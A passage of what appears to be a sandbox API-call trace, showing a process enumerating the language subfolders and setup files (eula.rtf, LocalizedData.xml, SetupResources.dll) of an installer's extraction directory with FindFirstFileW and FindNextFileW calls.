ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.145] FindNextFileW (in: hFindFile=0x10dc8d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.145] FindNextFileW (in: hFindFile=0x10dc8d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.145] FindClose (in: hFindFile=0x10dc8d0 | out: hFindFile=0x10dc8d0) returned 1 [0044.145] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.145] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1031", cAlternateFileName="")) returned 1 [0044.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc2d0 [0044.145] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.145] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.145] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.146] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.146] FindNextFileW (in: hFindFile=0x10dc2d0, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.146] FindClose (in: hFindFile=0x10dc2d0 | out: hFindFile=0x10dc2d0) returned 1 [0044.146] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.146] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1032", cAlternateFileName="")) returned 1 [0044.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc710 [0044.146] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.146] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.146] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.147] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.147] FindNextFileW (in: hFindFile=0x10dc710, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.147] FindClose (in: hFindFile=0x10dc710 | out: hFindFile=0x10dc710) returned 1 [0044.147] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.147] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1033", cAlternateFileName="")) returned 1 [0044.147] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dca10 [0044.147] FindNextFileW (in: hFindFile=0x10dca10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.147] FindNextFileW (in: hFindFile=0x10dca10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.147] FindNextFileW (in: hFindFile=0x10dca10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.147] FindNextFileW (in: hFindFile=0x10dca10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.148] FindNextFileW (in: hFindFile=0x10dca10, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.148] FindClose (in: hFindFile=0x10dca10 | out: hFindFile=0x10dca10) returned 1 [0044.148] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.148] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1035", cAlternateFileName="")) returned 1 [0044.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc110 [0044.148] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.148] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.148] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.148] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.149] FindNextFileW (in: hFindFile=0x10dc110, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.149] FindClose (in: hFindFile=0x10dc110 | out: hFindFile=0x10dc110) returned 1 [0044.149] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.149] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1036", cAlternateFileName="")) returned 1 [0044.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dbe90 [0044.149] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.149] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.150] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.150] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.150] FindNextFileW (in: hFindFile=0x10dbe90, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0044.150] FindClose (in: hFindFile=0x10dbe90 | out: hFindFile=0x10dbe90) returned 1 [0044.150] HeapFree (in: hHeap=0x2b10000, dwFlags=0x0, lpMem=0x3d80050 | out: hHeap=0x2b10000) returned 1 [0044.150] FindNextFileW (in: hFindFile=0x10c8d90, lpFindFileData=0x2fef3a4 | out: lpFindFileData=0x2fef3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="1037", cAlternateFileName="")) returned 1 [0044.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x10dc450 [0044.151] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0044.151] FindNextFileW (in: hFindFile=0x10dc450, lpFindFileData=0x2fef120 | out: lpFindFileData=0x2fef120*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, 